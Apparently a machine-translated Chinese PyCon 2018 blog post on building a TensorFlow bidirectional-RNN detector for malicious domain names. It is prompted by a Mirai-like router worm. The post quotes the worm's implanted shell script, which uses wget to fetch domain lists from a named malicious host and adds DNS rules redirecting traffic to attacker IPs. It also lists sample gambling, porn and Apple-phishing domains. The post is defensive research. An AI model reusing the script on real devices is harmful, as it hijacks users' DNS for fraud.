Четвертая серия: PyCon2018| Пример обнаружения вредоносного доменного имени (с исходным кодом)

искусственный интеллект TensorFlow Python DNS
8-я Китайская конференция разработчиков Python PyConChina 2018, инициированная PyChina.org, была организована 30 организаторами из таких сообществ, как CPyUG/TopGeek, и почти 150 волонтерами из Пекина, Шанхая, Шэньчжэня, Ханчжоу, Чэнду и других городов. Стремится содействовать развитию и применению различных технологий, связанных с Python, в Интернете, корпоративных приложениях и других областях.
Code Doctor Studio имеет честь принять приглашение и принять участие в специальной сессии этой конференции в Пекине. На встрече он в основном поделился «Обмен практическими примерами искусственного интеллекта — обработка изображений и численный анализ».
Некоторые из примеров, представленных на встрече, были в основном взяты из книг «Python Takes Me Take Off — Introduction, Advanced, Commercial Practice» и «TensorFlow для глубокого обучения: введение, принципы и передовая практика». Кроме того, несколько других случаев были расширены. В качестве дополнения к этой статье другие кейсы, которыми будут делиться, будут дополнены подробной графикой и исходным кодом. Он разделен на 4 серии.
  1. Вызов модели PNASNet с тонким

  2. Тонкая настройка модели PNASNet с помощью тонкого

  3. Атака на модель PNASNet состязательными примерами

  4. Пример обнаружения вредоносного доменного имени


Битва искусственного интеллекта за сетевую безопасность спровоцирована маршрутизаторным червем

После захвата и уничтожения червя, нацеленного на кабельные приставки 11 октября, мы снова захватили атакующего червя, нацеленного на высокопроизводительные устройства связи.Атакуемые устройства обычно имеют возможности управления поведением пользователей (например, NGFW, UTM, управление поведением и устройства QoS). Червь использует метод атаки, аналогичный Mirai, использует слабые пароли для взлома сетевых устройств, встраивает незаконные инструкции в сценарий запуска устройства, загружает ресурсы доменного имени и загружает их в устройство для перенаправления, получая незаконную прибыль. Типичный встроенный код атаки выглядит следующим образом: Во избежание злоупотреблений мы защитили некоторые ключевые команды.

#! /bin/sh

config dns rmvgrp 16

config dns rmvgrp 17

config dns rmvgrp 18

config dns rmvgrp 19

config dns addgrp 17 webwwurl

//Загрузить и загрузить доменное имя, связанное с порнографией

wget http://yuanlinhome.com/kefu.txt

cp kefu.txt /kefu1.txt

wget dns loadfile 17 /kefu1.txt

rm -rf kefu.txt

rm -rf /kefu1.txt

config dns addgrp 18 webwurl

//Загрузить и загрузить доменное имя для азартных игр

wget http://yuanlinhome.com/bc.txt

cp bc.txt /bc1.txt

config dns loadfile 18 /bc1.txt

rm -rf bc.txt

rm -rf /bc1.txt

//Перенаправить доменное имя для получения незаконной прибыли

config dns addrule id=864 inip=any dns=18 outip=any action=reply actarg=101.102.225.211

config dns addrule id=964 inip=any dns=17 outip=any action=reply actarg=101.102.225.209

Отслеживая его сайт вредоносного ресурса, выясняется, что он зарегистрирован и резолвлен в DNSPod, а служба CDN включена, а фактический коммерческий URL-адрес находится за пределами страны.



Включение CDN для распространения ресурсов, связанных с вирусами, является нормальным явлением.Подробности см. в соответствующей технической статье «Уязвимость проверки CDN приводит к массовому отравлению сети». Окончательный манипулятор таких веб-сайтов не имеет прецедента для отслеживания, и в отрасли не так много решений. В дополнение к удалению соответствующих конфигураций червей и отключению сервисов сетевого оборудования, которые могут иметь проблемы, мы решили провести эксперимент по идентификации искусственного интеллекта на вирусных ресурсах, загруженных вирусом, а также проектах и ​​кодах, связанных с открытым исходным кодом, чтобы улучшить уровень признания всей отрасли., чтобы сделать лучший ответ на вирусную атаку.

В следующей статье основное внимание уделяется методу искусственного интеллекта для обнаружения вредоносных доменных имен, который реализован с использованием платформы TensorFlow и использует метод обучения с учителем. На протяжении всего процесса он охватывает предварительную обработку образцов, написание общей структуры Tensorflow, построение двунаправленной модели RNN, применение технологии встраивания слов и последующую оптимизацию и планы обновления. Код для всего случая доступен на GITHUB, где код для модельной части представлен в виде замороженного графика.

Часть 1. Запуск модели

Модель использует двунаправленную технологию RNN для обнаружения вредоносных доменных имен. Было использовано более 1,3 миллиона образцов доменных имен, из которых более 1 миллиона были обычными образцами доменных имен, а более 300 000 — вредоносными образцами доменных имен. Образцы вредоносных доменных имен взяты из файлов ресурсов, загруженных во время этой вирусной атаки, и системы анализа угроз Tianji Youmeng, а образцы обычных доменных имен взяты из данных о поведении обычных пользователей в Интернете. После обучения уровень точности распознавания образцов смешанного тестового набора достигает примерно 99%, уровень точности чисто отрицательных образцов достигает 96%, а уровень точности чисто положительных образцов достигает 98%. Кроме того, в образце синхронизации кода предоставляется набор данных для проверки и результаты обработки.

1.1 Метод работы

(1) Загрузите код и все образцы.

(2) Откройте main.py и установите строку 67 следующим образом:

mode = "pretrain"

запустить напрямую. Будут сгенерированы образец файла предварительной обработки и файл словаря.

(3) Измените приведенный выше код на следующий:

mode = "evalfreeze"

запустить напрямую. Обработка обнаружения доменного имени будет выполняться для данных 20171213142927.xls, и будет создан файл eyn.txt.

Давайте подробнее рассмотрим стоящую за этим технологию ИИ.

Часть 2 Пример предварительной обработки


Проекты, использующие искусственный интеллект для решения проблем, начинаются с образцов. В этом разделе мы сначала анализируем имеющиеся у нас данные и обрабатываем их для создания образцов, которые можно использовать. Подготовьте основу для дальнейшей работы.

2.1 Введение образца

На ранней стадии проекта необходимо использовать небольшой объем данных для уточненной выборочной обработки. Для того, чтобы иметь возможность дать модели правильное руководство направления. Это подобно просветительскому учителю ученика, который хочет разъяснить ученикам правильное и неправильное значение, поэтому эта часть работы особенно важна. Образец должен быть максимально чистым и репрезентативным.

Давайте сначала представим первый пакет необработанных данных для обработки, который состоит всего из 4 файлов:

  • 111.txt: содержит смесь положительных и вредоносных доменных имен;

  • Kefu.txt: содержит порнографические доменные имена;

  • bc.txt: содержит доменные имена азартных игр;

  • domain_malicious.txt: содержит другие неизвестные вредоносные домены.

2.2 Предварительная обработка

Часть предварительной обработки в основном выполняет три операции: разделение положительной и отрицательной выборки, создание словаря и сброс выборки.

2.2.1 Разделение положительных и отрицательных образцов

Для удобства обучения на этапе предварительной обработки примера вредоносные доменные имена в 111.txt будут удалены и преобразованы в положительный набор доменных имен. После предварительной обработки детали полученных образцов выглядят следующим образом:


Вид образца

номер

файл

правильное доменное имя

1022296

111.txt

Желтое доменное имя

236

kefu.txt

Игорное доменное имя

223491

bc.txt

Другие неизвестные вредоносные домены

115107

domain_malicious.txt

Чтобы в будущем расширить анализ доменных имен более точно, например, путь, показанный в легенде в начале, образцы будут размещены в разных папках в соответствии с существующей классификацией. Таким образом, разные образцы могут быть помечены разными метками для более точных задач классификации.

Конечно, в этом конкретном случае нужно только разделить на правильные и вредоносные доменные имена, поэтому меток будет всего две: 0 и 1. Для оставшейся части 111.txt после удаления вредоносного доменного имени он равномерно помечен как 0. Остальные доменные имена одинаково помечены как 1.

1. Прочитайте часть кода

Код для чтения части документа реализован в функции load_txt_sample класса preprosample и использует метод рекурсивного каталога для чтения соответствующего списка по папке. код показывает, как показано ниже:

def load_txt_sample(self, split='train'):
        '''递归。如果是只有一级。就直接返回。如果是有多级,【根,子目录1,子目录2。。。】
        读取txt文件,一行一行的读,传入一个目录,读取目录下的每一个文件
        '''
        print ('loading sample  dataset..')

        alldata = []
        for (dirpath, dirnames, filenames) in os.walk(self.sample_dir):#一级一级的文件夹递归
            print(dirpath,dirnames,filenames)
            sdata = []
            for filename in filenames:
                filename_path = os.sep.join([dirpath, filename])  
                with open(filename_path, 'rb') as f:  
                    for onedata in f:
                        onedata = onedata.strip(b'\n')
                        try:
                            #print(onedata.decode('gb2312'))#,onedata.decode('gb2312'))'UTF-8'
                            sdata.append(onedata.decode( 'gb2312' ).lower().replace('\r',''))
                        except (UnicodeDecodeError):
                            print("wrong:",onedata.decode)

            alldata.append(sdata)


        print( len(alldata) )
        if len(alldata)>1:
            return alldata
        return sdata

2. Отдельный образец кода

В функции do_only_sample класса preprosample метод операции set Python используется для реализации операции исключения отрицательных выборок в смешанных данных. код показывает, как показано ниже:

 def do_only_sample(self, alldata):
        '''去重  【【正】【负】【负】】
        '''

        alldataset = set(alldata[0] )
        dudataset = set(alldata[1] )  
        huangdataset = set(alldata[2] )  
        otherset = set(alldata[3])
        print(len(alldataset))
        yesdataset = (alldataset-dudataset)-huangdataset
        print(len(yesdataset))
        return list(yesdataset),list(dudataset),list(huangdataset),list(otherset)

2.2.2 Создание словаря символов

В процессе обучения модели необходимо преобразовать выборки в определенные векторы символов, прежде чем продолжить. Поэтому необходимо создать словарь символов для векторного отображения для существующего доменного имени. Так называемый словарь символов предназначен для подсчета символов, встречающихся в имени домена, и каждому отдельному символу присваивается соответствующий уникальный номер.

После обработки словарь, соответствующий полученным символам доменного имени, выглядит следующим образом:

['None', 'b', '.', '5', '%', '9', '7', 't', 'p', 'i', 'g', 'e', 'k', 'y', '1', '&', 'w', 'r', ')', '*', 'h', 'c', 'f', '=', ':', 'n', 'u', '4', 'a', '(', '-', 'j', '3', '?', '^', 'z', 'm', 'v', '_', 'x', 'q', '/', '8', 's', '0', 'o', 'd', '2', 'l', '6']

Первый «Нет» — это дополнительный символ-заполнитель. Пары и позиционные символы в словаре могут быть единообразно сопоставлены с символами None. Это предотвратит ситуации, когда словарные символы не будут полностью покрыты.

Чтобы сопоставить символ с вектором, приведенный выше словарь необходимо перевернуть, то есть ввести символ, чтобы получить соответствующее значение вектора. Обработанный обратный словарь выглядит следующим образом:

{'.': 2, 'w': 16, 'f': 22, '6': 49, '1': 14, 'm': 36, 'r': 17, '3': 32, '5': 3, '_': 38, '0': 44, 'd': 46, '9': 5, '(': 29, '=': 23, '?': 33, 's': 43, 't': 7, 'c': 21, '^': 34, 'b': 1, '/': 41, '*': 19, 'z': 35, ')': 18, 'p': 8, 'g': 10, '%': 4, 'k': 12, 'l': 48, 'q': 40, 'v': 37, 'j': 31, 'x': 39, 'e': 11, 'u': 26, '7': 6, '2': 47, '8': 42, 'n': 25, 'None': 0, 'a': 28, '4': 27, 'o': 45, 'y': 13, ':': 24, 'i': 9, '&': 15, 'h': 20, '-': 30}

Используя приведенный выше обратный словарь, вы можете преобразовать определенные символы в векторы. Приведенная выше структура является содержимым объекта словарного типа в Python. Ключ — это конкретный символ, а соответствующее значение — вектор, который вы хотите получить.

2.2.3 Сохранение образцов

Для облегчения операции предполагается, что когда программа обучает модель, каждый прогон обучается только на предварительно обработанных результатах. Таким образом, необходимо сохранить исходные результаты предварительной обработки. Здесь хранятся сгенерированный словарь, положительные и отрицательные образцы и соответствующие им метки. Используйте pickle в Python для реализации операции этого шага.

Конкретный метод состоит в том, чтобы разделить набор данных на две части в функции save_sample класса preprosample, одна часть используется для тестового набора, а другая часть — для обучающего набора. Хранится отдельно в файлах plk.

def save_sample(self,sdatasample,slabelsample,maketrain = 1):

        if maketrain == 1:
            lendata = int(len(slabelsample)*0.95)
        else:
            lendata = int(len(slabelsample))

        train = {'X': sdatasample[:lendata],
                 'y': slabelsample[:lendata]}

        test = {'X': sdatasample[lendata:],
                'y': slabelsample[lendata:]}

#        if not os.path.exists(self.plk_dir):
#            os.mkdir(self.plk_dir)

        # make directory if not exists
        if tf.gfile.Exists(self.plk_dir):
            tf.gfile.DeleteRecursively(self.plk_dir)
        tf.gfile.MakeDirs(self.plk_dir)

        self.save_pickle(train, self.plk_dir+'/train.pkl')
        if maketrain == 1:
            self.save_pickle(test, self.plk_dir+'/test.pkl')


Часть тренировочного набора используется для обучения модели. Часть тестового набора используется для оценки точности модели. Приведенный выше код также инкапсулирует метод сохранения вызываемого файла PLK Конкретный код выглядит следующим образом:

def save_pickle(self,data, path):
        with open(path, 'wb') as f:
            pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)
            print ('Saved %s..' %path)

Это сделано для того, чтобы сделать программу более масштабируемой.Если вы хотите сохранить результаты предварительной обработки другими способами, вы можете напрямую изменить интерфейс.

Часть 3 Написание общей структуры TensorFlow

После версии 1.3 TensorFlow была предложена концепция оценочного фреймворка. Это позволяет разработчикам завершить процесс создания программ глубокого обучения, не уделяя слишком много внимания организации и соединению каждой ссылки. Значительно улучшена эффективность разработки. Однако, поскольку упаковка слишком на месте, она не прозрачна для новичков. Для демонстрации случая здесь используется структурная структура без оценки, а общая структура обработки создается вручную для организации различных связей.

3.1 Базовая структура кода фреймворка

Базовая структура кода, составляющая общую структуру, разделена на 4 файла следующим образом:

  • main.py: общая запись программы;

  • model.py: файл модели программы;

  • prepro.py: файл предварительной обработки для программы;

  • work.py: файл процесса для программы

Кроме основного файла существуют другие файлы в виде классов.Каждый класс реализует несколько определенных независимых функций.Например,модель хранит файлы моделей отдельно,а также может реализовывать внутри себя несколько моделей для обучения и сравнения,препро отвечает за Основная работа по предварительной обработке данных выполняется перед выполнением, а исходные данные хранятся как конкретный пригодный для использования образец; работа представляет собой конкретную операцию обработки процесса.В соответствии с инструкциями по обучению, оценке и применению, выданными основным, вызывается модель, и одновременно загружается соответствующая предварительная обработка.Обработанные данные завершают общую задачу.

3.2 Предварительная выборка класса предварительной обработки

Этот класс можно использовать как класс инструмента.Часть предварительной обработки в основном выполняет две операции.Методы в нем:

  • load_cvs_evaldata: прочитать данные из CSV-файла;

  • load_txt_sample: рекурсивно прочитать образец txt-файла;

  • do_only_sample: пример дедупликации;

  • make_dictionary: создать словарь;

  • ch_to_v: вектор поворота персонажа;

  • pad_sequences: операция пэда для выравнивания сэмпла;

  • load_dic: загрузить словарь;

  • save_sample сохраняет образец.


3.3 Процесс обработки Рабочий класс

В основном для обработки специальных процессов (таких как обучение, тестирование, применение и т. д.) и некоторых основных операций (загрузка образцов):

  • load_pkl_sample: загрузить образец;

  • evalfreeze: модель приложения;

  • поезд: обучающая модель;

  • тест: протестировать модель.


3.4 Структура модели Класс DomainNameModel

Определение сетевой структуры обученной модели в основном представляет собой размещение классов. Функция build_model используется для реализации конкретного определения сетевой структуры. Различные узлы могут быть возвращены путем ввода разных параметров. Реализация параметра заморозки приведена в коде: загрузить файл модели в память и вернуть его в работу. Конкретный расчет модели применения может быть выполнен в работе.

Часть 4 Построение модели

Частью построения модели является использование технологии встраивания слов на основе динамической двунаправленной RNN, то есть преобразование каждого вектора символов в 64-мерный вектор встраивания слов в качестве входных данных, а затем выполнение прямого и обратного извлечения признаков на основе домена. имя через двунаправленную RNN и, наконец, пройти двухуровневую полносвязную сеть для завершения. Общая структура показана на рисунке ниже:

4.1 Подробная информация о соответствующих параметрах модели

Как показано на рисунке выше, снизу вверх детали соответствующих моделей и параметров вводятся следующим образом:

  • Длина исходного словаря отображения символов доменного имени составляет 50;

  • Сопоставленный вектор, размерность которого преобразуется вложенным словом, равна 64;

  • В двунаправленной RNN используется метод обработки последовательностей переменной длины, а максимальная длина последовательности составляет 256;

  • Прямой и обратный двунаправленный RNN имеет одинаковую структуру, двухуровневую сеть RNN, каждый уровень RNN состоит из 64 единиц GRU;

  • Результаты двунаправленной RNN передаются в полносвязную сеть из 16 узлов.

  • Затем войдите в полносвязную сеть, состоящую из 2 узлов.

  • Выполните преобразование softmax для результата модели и выполните кросс-энтропийную операцию с меткой, чтобы получить значение потерь.

  • Обратное распространение использует оптимизатор AdamOptimizer.

  • Скорость обучения составляет 0,0008.

  • Во время обучения для ввода выборки используются случайные мини-пакеты. Максимальное значение для пакета — 1024.

4.2 Технические детали, требующие внимания

Код для части модели предоставляется в виде замороженного графика. Если вам нужно написать и оптимизировать самостоятельно, вы можете обратиться к следующей ключевой технологической части исходного кода:

4.2.1 Реализация двунаправленной RNN переменной длины

В 4-м разделе 9.4.2 книги «Введение в TensorFlow для глубокого обучения, принципов и передовой практики» была представлена ​​реализация динамической RNN переменной длины. Этот подход очень похож на реализацию двунаправленных RNN переменной длины. Просто поместите соответствующие списки длин во входных образцах пакетов вместе в двунаправленную функцию инициализации RNN.

4.2.2 Реализация двунаправленной RNN, подключенной к полносвязной сети

Для этой части вы можете обратиться к части модели в примере распознавания речи 9.5 книги «Введение в TensorFlow для глубокого обучения, принципов и расширенной практики». Модель также использует двунаправленную RNN в сочетании с полностью подключенной сетью для фонетического перевода.

4.2.3 Реализация многоуровневой RNN

Единственная разница между этим случаем и примером распознавания речи в книге «Введение в TensorFlow для глубокого обучения, принципов и передовой практики» заключается в том, что в примере распознавания речи используется однослойная сеть RNN. Если вам нужно реализовать несколько уровней, вы можете обратиться к примеру многокомпонентной RNN в разделе 9.4.

4.3 Непонимание настройки

Можно заметить, что в озвученных выше параметрах в каждом слое не так много узлов. Все мы знаем, что чем больше узлов, тем сильнее будет подгоночная способность модели. Однако в практических приложениях будет обнаружено, что чем больше количество узлов, тем ниже обобщающая способность модели, основанная на более высокой подгоночной способности. Феномен его производительности заключается в том, что при обучении на состязательных образцах модель будет сильно трястись. Поэтому в процессе тюнинга не наращивайте узлы вслепую.

Часть 5 План последующей оптимизации и обновления

Этот случай является лишь введением, и, конечно, есть много мест, которые можно оптимизировать.

5.1 Оптимизация на основе существующей точности

В части встраивания слов в этом случае используется случайное начальное значение Здесь может быть загружена предварительно обученная модель вектора слова, чтобы существующая модель могла получить более точные семантические характеристики. Конкретный метод заключается в использовании модели CBOW или скип-граммы для анализа взаимосвязи между символами существующих доменных имен. Отображение вложений слов на основе проанализированной семантики будет лучше, чем исходная модель.

5.2 Оптимизация на основе структуры модели

Приложение также может быть обучением модели с использованием полууправляемых методов обучения, генеративные состязательные нейронные сети должны быть первым выбором. Из-за борьбы с вредоносными доменными именами, имитирующими тип спуфинга обычных веб-сайтов, поскольку он соответствует характеристикам только положительных образцов и случайных отрицательных образцов. Генеративно-состязательная нейронная сеть имеет мощную функцию подбора признаков образца, которая может позволить нам получить более точную сеть дискриминатора. Однако суставы, которые он тренирует, относительно сложны и их труднее тренировать, чем другие сети.Это текущая трудность и направление последующих исследований.

5.3 Оптимизация на основе случая применения

Для применения в случаях обнаружения вредоносных доменных имен это только начало, и перед коммерческим использованием еще предстоит проделать большую работу по сегментации. Потому что формы вредоносных доменных имен гораздо шире, чем упомянутые в статье виды порнографии и азартных игр. Если вы хотите более точно идентифицировать доменное имя, вы должны иметь дело с доменным именем отдельно в соответствии с категорией подразделения.

Например, вредоносные доменные имена, подобные следующему DUBO, имеют очевидные характеристики. Его можно отличить исключительно по символьной форме доменного имени. Если для этого типа распознавания используется только технология ИИ, уровень точности будет очень высоким.

0000002.com
000000cf.com
000000.com
0000036.com
00000378.com
00000.am
00000hg.com
00000hm.com
00000jsc.com
00000k9.com
00000msc.com
00000s8s.com
00000tb.com
00000vn.com

Для следующих связанных с желтым цветом доменных имен с определенной семантикой модель должна понимать и различать их семантику. Хорошо работает его обучение исключительно на модели, которая понимает семантику.

chat.l8servicedreamofcity.com
happypussygames.com
chat.l8serviceqy8.com
chat.l8serviceuqu.com
badasianpussy.com
livechat-d88.com
livechatinc.com

Если два вышеупомянутых случая сложить вместе, чтобы различить, это модель этой статьи. Но ей не хватает общности. Например, для поддельных доменных имен распознавание доменных имен поддельных веб-сайтов — это то, что эта модель не может сделать.

apple-info.net
apple-inportant.com
apple-itunes.serverhost.com
apple-login-account.ga
apple-mac911.onlinesoftwaresollutionhelpdesk.info
apple.g2live.net
apple-refund-id38303910.cf
apple-refund-id38303911.cf
apple-refund-id389401310.cf

Все перечисленные выше домены являются вредоносными. Это доменное имя фишингового веб-сайта, созданное по образцу официального веб-сайта Apple. Обычные доменные имена следующие:

Apple.com
Itunes.com

Когда модель решает эту проблему, возникает дрожание. Потому что, хотя модель может изучить семантику внутри, она не может судить, вредоносна она или нормальна. Есть много обманчивых веб-сайтов, похожих на эту ситуацию, например, веб-сайты, имитирующие крупные банки, и веб-сайты финансовых транзакций. Такие проблемы нельзя решать вместе с предыдущей общей проблемой обнаружения вредоносных доменных имен. Он должен быть разделен, раздельный сбор проб, обучение. Можно использовать традиционный метод черного и белого списков или обновить существующую сетевую модель, чтобы адаптировать ее к более разнообразным функциям, таким как использование модели состязательной сети.

Ссылаться на:

1. Этот код дела и URL-адрес загрузки ресурса:

https://github.com/jinhong0427/domain_malicious_detection

2. Уязвимости проверки CDN привели к массовому отравлению сети:

http://www.freebuf.com/news/139358.html

3. Правильная поза использования двунаправленной RNN переменной длины:
http://blog.csdn.net/lijin6249/article/details/78955175

4. Отслеживание IP-адреса:

https://www.ipip.net/

5. Платформа анализа угроз Skyline Alliance:

https://redqueen.sec-un.com/

Спасибо:

Спасибо, спасибо Paiwang Software за предоставление технической поддержки в направлении безопасности.

1.CNCERT

2. Parllay Security Threat Intelligence Alliance


[Более интересно]: Обратите внимание на общедоступный номер:xiangyuejiqiren


Если вы найдете эту статью полезной, вы можете поделиться ею с другими друзьями.